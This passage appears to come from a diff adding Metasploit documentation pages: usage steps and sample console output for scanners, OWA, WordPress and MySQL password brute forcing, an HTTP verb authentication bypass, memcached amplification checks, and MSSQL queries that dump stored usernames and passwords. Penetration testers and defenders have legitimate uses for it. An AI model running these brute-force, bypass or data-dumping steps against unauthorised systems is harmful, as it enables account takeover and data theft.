[*] webmail.hostingcloudapp.com:443 OWA - Trying johndoe : password
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.22
|
||||
[+] server type: EXCH2016MBX01
|
||||
[-] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN. 2.046935 'HOSTINGCLOUDAPP\johndoe' : 'password' (HTTP redirect with reason 2)
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Trying johndoe : password1
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
|
||||
[+] server type: EXCH2016MBX02
|
||||
[-] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN. 2.073391 'HOSTINGCLOUDAPP\johndoe' : 'password1' (HTTP redirect with reason 2)
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Trying johndoe : fido
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
|
||||
[+] server type: EXCH2016MBX02
|
||||
[-] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN. 2.038717 'HOSTINGCLOUDAPP\johndoe' : 'fido' (HTTP redirect with reason 2)
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Trying bob : password
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
|
||||
[+] server type: EXCH2016MBX02
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.289186 'HOSTINGCLOUDAPP\bob' : 'password': SAVING TO CREDS
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Trying bob : password1
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
|
||||
[+] server type: EXCH2016MBX02
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.270616 'HOSTINGCLOUDAPP\bob' : 'password1': SAVING TO CREDS
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Trying bob : fido
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - Resolved hostname 'webmail.hostingcloudapp.com' to address 38.126.136.24
|
||||
[+] server type: EXCH2016MBX02
|
||||
[*] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.275251 'HOSTINGCLOUDAPP\bob' : 'fido': SAVING TO CREDS
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
```
|
||||
@@ -0,0 +1,47 @@
|
||||
## Description
|
||||
|
||||
This module queries a host or range of hosts and pull the SSL certificate information if one is installed.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/http/ssl```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set THREADS [num of threads]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/http/ssl
|
||||
msf auxiliary(ssl) > set RHOSTS 192.168.1.200-254
|
||||
RHOSTS => 192.168.1.200-254
|
||||
msf auxiliary(ssl) > set THREADS 20
|
||||
THREADS => 20
|
||||
msf auxiliary(ssl) > run
|
||||
|
||||
[*] Error: 192.168.1.205: OpenSSL::SSL::SSLError SSL_connect SYSCALL returned=5 errno=0 state=SSLv3 read server hello A
|
||||
[*] Error: 192.168.1.206: OpenSSL::SSL::SSLError SSL_connect SYSCALL returned=5 errno=0 state=SSLv3 read server hello A
|
||||
[*] 192.168.1.208:443 Subject: /C=--/ST=SomeState/L=SomeCity/O=SomeOrganization/OU=SomeOrganizationalUnit/CN=localhost.localdomain/emailAddress=root@localhost.localdomain Signature Alg: md5WithRSAEncryption
|
||||
[*] 192.168.1.208:443 WARNING: Signature algorithm using MD5 (md5WithRSAEncryption)
|
||||
[*] 192.168.1.208:443 has common name localhost.localdomain
|
||||
[*] 192.168.1.211:443 Subject: /C=--/ST=SomeState/L=SomeCity/O=SomeOrganization/OU=SomeOrganizationalUnit/CN=localhost.localdomain/emailAddress=root@localhost.localdomain Signature Alg: sha1WithRSAEncryption
|
||||
[*] 192.168.1.211:443 has common name localhost.localdomain
|
||||
[*] Scanned 13 of 55 hosts (023% complete)
|
||||
[*] Error: 192.168.1.227: OpenSSL::SSL::SSLError SSL_connect SYSCALL returned=5 errno=0 state=SSLv3 read server hello A
|
||||
[*] 192.168.1.223:443 Subject: /CN=localhost Signature Alg: sha1WithRSAEncryption
|
||||
[*] 192.168.1.223:443 has common name localhost
|
||||
[*] 192.168.1.222:443 WARNING: Signature algorithm using MD5 (md5WithRSAEncryption)
|
||||
[*] 192.168.1.222:443 has common name MAILMAN
|
||||
[*] Scanned 30 of 55 hosts (054% complete)
|
||||
[*] Scanned 31 of 55 hosts (056% complete)
|
||||
[*] Scanned 39 of 55 hosts (070% complete)
|
||||
[*] Scanned 41 of 55 hosts (074% complete)
|
||||
[*] Scanned 43 of 55 hosts (078% complete)
|
||||
[*] Scanned 45 of 55 hosts (081% complete)
|
||||
[*] Scanned 46 of 55 hosts (083% complete)
|
||||
[*] Scanned 53 of 55 hosts (096% complete)
|
||||
[*] Scanned 55 of 55 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(ssl) >
|
||||
```
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
## Description
|
||||
|
||||
This module scans a server or range of servers and attempts to bypass authentication by using different HTTP verbs.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/http/verb_auth_bypass```
|
||||
2. Do: ```set PATH [auth page]```
|
||||
3. Do: ```set RHOSTS [IP]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/http/verb_auth_bypass
|
||||
msf auxiliary(verb_auth_bypass) > set PATH /xampp/
|
||||
PATH => /xampp/
|
||||
msf auxiliary(verb_auth_bypass) > set RHOSTS 192.168.1.201
|
||||
RHOSTS => 192.168.1.201
|
||||
msf auxiliary(verb_auth_bypass) > run
|
||||
|
||||
[*] 192.168.1.201 requires authentication: Basic realm="xampp user" [401]
|
||||
[*] Testing verb HEAD resp code: [401]
|
||||
[*] Testing verb TRACE resp code: [200]
|
||||
[*] Possible authentication bypass with verb TRACE code 200
|
||||
[*] Testing verb TRACK resp code: [401]
|
||||
[*] Testing verb WMAP resp code: [401]
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(verb_auth_bypass) >
|
||||
```
|
||||
@@ -0,0 +1,39 @@
|
||||
## Description
|
||||
|
||||
This module scans a server or range of servers and attempts to determine if WebDav is enabled. This allows us to better fine-tune our attacks.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/http/webdav_scanner```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set RPORT [PORT]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/http/webdav_scanner
|
||||
msf auxiliary(webdav_scanner) > set RHOSTS 192.168.1.200-250
|
||||
RHOSTS => 192.168.1.200-250
|
||||
msf auxiliary(webdav_scanner) > set THREADS 20
|
||||
THREADS => 20
|
||||
msf auxiliary(webdav_scanner) > run
|
||||
|
||||
[*] 192.168.1.203 (Microsoft-IIS/5.1) has WEBDAV ENABLED
|
||||
[*] 192.168.1.209 (Apache/2.0.54 (Linux/SUSE)) WebDAV disabled.
|
||||
[*] 192.168.1.208 (Apache/2.0.52 (CentOS)) WebDAV disabled.
|
||||
[*] 192.168.1.213 (Apache/2.2.14 (Ubuntu)) WebDAV disabled.
|
||||
[*] Scanned 14 of 51 hosts (027% complete)
|
||||
[*] 192.168.1.222 (Apache/1.3.23 (Unix) (Red-Hat/Linux) mod_python/2.7.6 Python/1.5.2 mod_ssl/2.8.7 OpenSSL/0.9.6b DAV/1.0.3 PHP/4.1.2 mod_perl/1.26 mod_throttle/3.1.2) WebDAV disabled.
|
||||
[*] 192.168.1.223 (Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1) WebDAV disabled.
|
||||
[*] 192.168.1.229 (Microsoft-IIS/6.0) has WEBDAV ENABLED
|
||||
[*] 192.168.1.224 (Apache/2.2.4 (Ubuntu) PHP/5.2.3-1ubuntu6) WebDAV disabled.
|
||||
[*] 192.168.1.227 (Microsoft-IIS/5.0) has WEBDAV ENABLED
|
||||
[*] Scanned 28 of 51 hosts (054% complete)
|
||||
[*] 192.168.1.234 (lighttpd/1.4.25) WebDAV disabled.
|
||||
[*] 192.168.1.235 (Apache/2.2.3 (CentOS)) WebDAV disabled.
|
||||
[*] Scanned 38 of 51 hosts (074% complete)
|
||||
[*] Scanned 51 of 51 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(webdav_scanner) >
|
||||
```
|
||||
@@ -0,0 +1,46 @@
|
||||
## Description
|
||||
|
||||
This auxiliary module scans a host or range of hosts for servers that disclose their content via WebDav.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/http/webdav_website_content```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/http/webdav_website_content
|
||||
msf auxiliary(webdav_website_content) > set RHOSTS 192.168.1.201
|
||||
RHOSTS => 192.168.1.201
|
||||
msf auxiliary(webdav_website_content) > run
|
||||
|
||||
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/
|
||||
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/aspnet_client/
|
||||
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/images/
|
||||
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_private/
|
||||
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_cnf/
|
||||
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_cnf/iisstart.htm
|
||||
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_cnf/pagerror.gif
|
||||
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_log/
|
||||
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_pvt/
|
||||
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_pvt/access.cnf
|
||||
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_pvt/botinfs.cnf
|
||||
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_pvt/bots.cnf
|
||||
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_pvt/deptodoc.btr
|
||||
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_pvt/doctodep.btr
|
||||
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_pvt/frontpg.lck
|
||||
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_pvt/linkinfo.btr
|
||||
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_pvt/service.cnf
|
||||
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_pvt/service.lck
|
||||
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_pvt/services.cnf
|
||||
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_pvt/svcacl.cnf
|
||||
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_pvt/uniqperm.cnf
|
||||
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_pvt/writeto.cnf
|
||||
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_script/
|
||||
[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_txt/
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(webdav_website_content) >
|
||||
```
|
||||
@@ -0,0 +1,53 @@
|
||||
## Descriptions
|
||||
|
||||
This auxiliary module will brute-force a WordPress installation and first determine valid usernames and then perform a password-guessing attack. WordPress and WordPress MU before 2.8.1 exhibit different behavior for a failed login attempt depending on whether the user account exists, which allows remote attackers to enumerate valid usernames. NOTE: The vendor reportedly disputes the significance of this issue, indicating that the behavior exists for "user convenience." More infomation can be found in [CVE-2009-2335](https://www.cvedetails.com/cve/cve-2009-2335).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/http/wordpress_login_enum```
|
||||
2. Do: ```set URI [URI]```
|
||||
3. Do: ```set PASS_FILE [password file]```
|
||||
4. Do: ```set USER_FILE [username list file]```
|
||||
5. Do: ```set RHOSTS [IP]```
|
||||
6. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/http/wordpress_login_enum
|
||||
msf auxiliary(wordpress_login_enum) > set URI /wordpress/wp-login.php
|
||||
URI => /wordpress/wp-login.php
|
||||
msf auxiliary(wordpress_login_enum) > set PASS_FILE /tmp/passes.txt
|
||||
PASS_FILE => /tmp/passes.txt
|
||||
msf auxiliary(wordpress_login_enum) > set USER_FILE /tmp/users.txt
|
||||
USER_FILE => /tmp/users.txt
|
||||
msf auxiliary(wordpress_login_enum) > set RHOSTS 192.168.1.201
|
||||
RHOSTS => 192.168.1.201
|
||||
msf auxiliary(wordpress_login_enum) > run
|
||||
|
||||
[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Running User Enumeration
|
||||
[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Checking Username:'administrator'
|
||||
[-] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Invalid Username: 'administrator'
|
||||
[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Checking Username:'admin'
|
||||
[+] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration- Username: 'admin' - is VALID
|
||||
[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Checking Username:'root'
|
||||
[-] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Invalid Username: 'root'
|
||||
[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Checking Username:'god'
|
||||
[-] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Invalid Username: 'god'
|
||||
[+] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Enumeration - Found 1 valid user
|
||||
[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Running Bruteforce
|
||||
[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Skipping all but 1 valid user
|
||||
[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Trying username:'admin' with password:''
|
||||
[-] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Failed to login as 'admin'
|
||||
[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Trying username:'admin' with password:'root'
|
||||
[-] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Failed to login as 'admin'
|
||||
[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Trying username:'admin' with password:'admin'
|
||||
[-] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Failed to login as 'admin'
|
||||
[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Trying username:'admin' with password:'god'
|
||||
[-] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Failed to login as 'admin'
|
||||
[*] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - Trying username:'admin' with password:'s3cr3t'
|
||||
[+] http://192.168.1.201:80/wordpress/wp-login.php - WordPress Brute Force - SUCCESSFUL login for 'admin' : 's3cr3t'
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(wordpress_login_enum) >
|
||||
```
|
||||
@@ -0,0 +1,59 @@
|
||||
## Description
|
||||
|
||||
This module identifies the version of IMAP in use by the server, as well as some of the login options.
|
||||
Any IMAP sever should return this information.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
### Install Dovecot on Kali Linux:
|
||||
|
||||
With this install, we'll only install IMAP for dovecot, as the other protocols are not required. However, this is unrealistic
|
||||
in a production environment.
|
||||
|
||||
1. ```sudo apt-get install dovecot-imapd```
|
||||
2. ```/etc/init.d/dovecot start```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: `use auxiliary/scanner/imap/imap_version`
|
||||
2. Do: `set rhosts [ips]`
|
||||
3. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
**IMAPPASS**
|
||||
|
||||
A password for an IMAP account.
|
||||
|
||||
**IMAPUSER**
|
||||
|
||||
A username for an IMAP account.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Dovecot 2.3.2 (582970113) on Kali
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/imap/imap_version
|
||||
msf5 auxiliary(scanner/imap/imap_version) > set rhosts 10.168.202.216
|
||||
rhosts => 10.168.202.216
|
||||
msf5 auxiliary(scanner/imap/imap_version) > run
|
||||
|
||||
[+] 10.168.202.216:143 - 10.168.202.216:143 IMAP * OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LITERAL+ STARTTLS AUTH=PLAIN] Dovecot (Debian) ready.\x0d\x0a
|
||||
[*] 10.168.202.216:143 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
## Confirming
|
||||
|
||||
### [nmap](https://nmap.org/nsedoc/scripts/imap-capabilities.html)
|
||||
|
||||
```
|
||||
# nmap -p 143 -sV -script=imap-capabilities 10.168.202.216
|
||||
Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-11 18:43 EDT
|
||||
Nmap scan report for 10.168.202.216
|
||||
Host is up (0.000044s latency).
|
||||
|
||||
PORT STATE SERVICE VERSION
|
||||
143/tcp open imap Dovecot imapd
|
||||
|_imap-capabilities: LITERAL+ more AUTH=PLAINA0001 IDLE have LOGIN-REFERRALS ENABLE OK Pre-login listed capabilities post-login ID STARTTLS IMAP4rev1 SASL-IR
|
||||
```
|
||||
@@ -0,0 +1,95 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Any instance of memcached with the UDP listener enabled will suffice.
|
||||
|
||||
Instructions for testing against Ubuntu 16.04, CentOS 7 and a Dockerized endpoint are provided below.
|
||||
|
||||
### Ubuntu 16.04
|
||||
|
||||
To a desktop or server Ubuntu 16.04 instance, simply install memcached:
|
||||
|
||||
```
|
||||
apt-get install memcached
|
||||
```
|
||||
|
||||
Then configure it to listen on something other than the loopback interface:
|
||||
|
||||
```
|
||||
sed -i 's/-l 127.0.0.1/#-l 127.0.0.1/g' /etc/memcached.conf
|
||||
service memcached restart
|
||||
```
|
||||
|
||||
### CentOS 7
|
||||
|
||||
To a CentOS 7 instance, simply install and start memcached, as it listens on 0.0.0.0 by default'
|
||||
|
||||
```
|
||||
yum -y install memcached
|
||||
systemctl start memcached
|
||||
```
|
||||
|
||||
### Docker Install
|
||||
|
||||
In memcached 1.5.5 and earlier, the daemon is vulnerable by default. As such, we can use the
|
||||
community supported memcached container and simply expose it:
|
||||
|
||||
```
|
||||
docker run -ti --rm -p 11211:11211/udp memcached:1.5.5
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use auxiliary/scanner/memcached/memcached_amp`
|
||||
4. Do: `set rhosts [IPs]`
|
||||
5. Do: `run`
|
||||
6. Confirm that the endpoint is discovered vulnerable to the memcached amplification vulnerability.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 16.04
|
||||
|
||||
Configure memcached as described above.
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/memcached/memcached_amp
|
||||
msf5 auxiliary(scanner/memcached/memcached_amp) > set RHOSTS a.b.c.d
|
||||
RHOSTS => a.b.c.d
|
||||
msf5 auxiliary(scanner/memcached/memcached_amp) > run
|
||||
|
||||
[+] a.b.c.d:11211 - Vulnerable to MEMCACHED amplification: No packet amplification and a 78x, 1163-byte bandwidth amplification
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### CentOS 7
|
||||
|
||||
Configure memcached as described above.
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/memcached/memcached_amp
|
||||
msf5 auxiliary(scanner/memcached/memcached_amp) > set RHOSTS a.b.c.d
|
||||
RHOSTS => a.b.c.d
|
||||
msf5 auxiliary(scanner/memcached/memcached_amp) > run
|
||||
|
||||
[+] a.b.c.d:11211 - Vulnerable to MEMCACHED amplification: No packet amplification and a 68x, 1015-byte bandwidth amplification
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Docker
|
||||
|
||||
Configure memcached in docker as described above.
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/memcached/memcached_amp
|
||||
msf5 auxiliary(scanner/memcached/memcached_amp) > set RHOSTS a.b.c.d
|
||||
RHOSTS => a.b.c.d
|
||||
msf5 auxiliary(scanner/memcached/memcached_amp) > run
|
||||
|
||||
[+] a.b.c.d:11211 - Vulnerable to MEMCACHED amplification: 2x packet amplification and a 126x, 1880-byte bandwidth amplification
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,65 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Any instance of memcached with the UDP listener enabled will suffice.
|
||||
|
||||
Instructions for testing against CentOS 7 and a Dockerized endpoint are provided below.
|
||||
|
||||
### CentOS 7
|
||||
|
||||
To a CentOS 7 instance, simply install and start memcached, as it listens on 0.0.0.0 by default'
|
||||
|
||||
```
|
||||
yum -y install memcached
|
||||
systemctl start memcached
|
||||
```
|
||||
|
||||
### Docker Install
|
||||
|
||||
In memcached 1.5.5 and earlier, the daemon is affected by default. As such, we can use the
|
||||
community supported memcached container and simply expose it:
|
||||
|
||||
```
|
||||
docker run -ti --rm -p 11211:11211/udp memcached:1.5.5
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use auxiliary/scanner/memcached/memcached_udp_version`
|
||||
4. Do: `set rhosts [IPs]`
|
||||
5. Do: `run`
|
||||
6. Confirm that the endpoint is discovered to be running memcached and the version is displayed
|
||||
|
||||
## Scenarios
|
||||
|
||||
### CentOS 7
|
||||
|
||||
Configure memcached as described above.
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/memcached/memcached_udp_version
|
||||
msf5 auxiliary(scanner/memcached/memcached_udp_version) > set RHOSTS a.b.c.d
|
||||
RHOSTS => a.b.c.d
|
||||
msf5 auxiliary(scanner/memcached/memcached_udp_version) > run
|
||||
|
||||
[+] a.b.c.d:11211/udp memcached version 1.4.15
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Docker
|
||||
|
||||
Configure memcached in docker as described above.
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/memcached/memcached_udp_version
|
||||
msf5 auxiliary(scanner/memcached/memcached_udp_version) > set RHOSTS a.b.c.d
|
||||
RHOSTS => a.b.c.d
|
||||
msf5 auxiliary(scanner/memcached/memcached_udp_version) > run
|
||||
|
||||
[+] a.b.c.d:11211/udp memcached version 1.5.5
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,42 @@
|
||||
## Description
|
||||
|
||||
This (Interesting Data Finder) module will connect to a remote MSSQL server using a given set of credentials and search for rows and columns with “interesting” names. This information can help you fine-tune further attacks against the database.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/mssql/mssql_idf```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set THREADS [number of threads]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use auxiliary/admin/mssql/mssql_idf
|
||||
msf auxiliary(mssql_idf) > set NAMES username|password
|
||||
NAMES => username|password
|
||||
msf auxiliary(mssql_idf) > set PASSWORD password1
|
||||
PASSWORD => password1
|
||||
msf auxiliary(mssql_idf) > set RHOST 192.168.1.195
|
||||
RHOST => 192.168.1.195
|
||||
msf auxiliary(mssql_idf) > run
|
||||
|
||||
|
||||
Database Schema Table Column Data Type Row Count
|
||||
|
||||
======== ====== ============== ===================== ========= ========= ======== ====== ============== ===================== ========= =========
|
||||
|
||||
msdb dbo sysmail_server username nvarchar 0
|
||||
|
||||
msdb dbo backupmediaset is_password_protected bit 0
|
||||
|
||||
msdb dbo backupset is_password_protected bit 0
|
||||
|
||||
logins dbo userpass username varchar 3
|
||||
|
||||
logins dbo userpass password varchar 3
|
||||
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(mssql_idf) >
|
||||
```
|
||||
@@ -0,0 +1,48 @@
|
||||
## Description
|
||||
|
||||
The `mssql_ping` module queries a host or range of hosts on UDP port 1434 to determine the listening TCP port of any MSSQL server, if available. MSSQL randomizes the TCP port that it listens on so this is a very valuable module in the Framework.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/mssql/mssql_ping```
|
||||
2. Do: ```set RHOSTS [IP]```
|
||||
3. Do: ```set THREADS [number of threads]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/mssql/mssql_ping
|
||||
msf auxiliary(mssql_ping) > set RHOSTS 192.168.1.200-254
|
||||
RHOSTS => 192.168.1.200-254
|
||||
msf auxiliary(mssql_ping) > set THREADS 20
|
||||
THREADS => 20
|
||||
msf auxiliary(mssql_ping) > run
|
||||
|
||||
[*] Scanned 13 of 55 hosts (023% complete)
|
||||
[*] Scanned 16 of 55 hosts (029% complete)
|
||||
[*] Scanned 17 of 55 hosts (030% complete)
|
||||
[*] SQL Server information for 192.168.1.217:
|
||||
[*] tcp = 27900
|
||||
[*] np = \\SERVER2\pipe\sql\query
|
||||
[*] Version = 8.00.194
|
||||
[*] InstanceName = MSSQLSERVER
|
||||
[*] IsClustered = No
|
||||
[*] ServerName = SERVER2
|
||||
[*] SQL Server information for 192.168.1.241:
|
||||
[*] tcp = 1433
|
||||
[*] np = \\2k3\pipe\sql\query
|
||||
[*] Version = 8.00.194
|
||||
[*] InstanceName = MSSQLSERVER
|
||||
[*] IsClustered = No
|
||||
[*] ServerName = 2k3
|
||||
[*] Scanned 32 of 55 hosts (058% complete)
|
||||
[*] Scanned 40 of 55 hosts (072% complete)
|
||||
[*] Scanned 44 of 55 hosts (080% complete)
|
||||
[*] Scanned 45 of 55 hosts (081% complete)
|
||||
[*] Scanned 46 of 55 hosts (083% complete)
|
||||
[*] Scanned 50 of 55 hosts (090% complete)
|
||||
[*] Scanned 55 of 55 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(mssql_ping) >
|
||||
```
|
||||
@@ -0,0 +1,38 @@
|
||||
## Description
|
||||
|
||||
This module allows you to perform SQL queries against a database using known-good credentials.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/mssql/mssql_sql```
|
||||
2. Do: ```set PASSWORD [password1]```
|
||||
3. Do: ```set RHOSTS [IP]```
|
||||
4. Do: ```set [SQL Command]```
|
||||
5. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use auxiliary/admin/mssql/mssql_sql
|
||||
msf auxiliary(mssql_sql) > set PASSWORD password1
|
||||
PASSWORD => password1
|
||||
msf auxiliary(mssql_sql) > set RHOST 192.168.1.195
|
||||
RHOST => 192.168.1.195
|
||||
msf auxiliary(mssql_sql) > set SQL use logins;select * from userpass
|
||||
SQL => use logins;select * from userpass
|
||||
msf auxiliary(mssql_sql) > run
|
||||
|
||||
[*] SQL Query: use logins;select * from userpass
|
||||
[*] Row Count: 3 (Status: 16 Command: 193)
|
||||
|
||||
|
||||
|
||||
userid username password
|
||||
------ -------- --------
|
||||
1 bjohnson password
|
||||
2 aadams s3cr3t
|
||||
3 jsmith htimsj
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(mssql_sql) >
|
||||
```
|
||||
@@ -0,0 +1,63 @@
|
||||
## Description
|
||||
|
||||
This auxiliary module is a brute-force login tool for MySQL servers.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/mysql/mysql_login```
|
||||
2. Do: ```set PASS_FILE [file containing passwords]```
|
||||
3. Do: ```set RHOSTS [IP]```
|
||||
4. Do: ```set USER_FILE [file containing usernames]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Scenarios
|
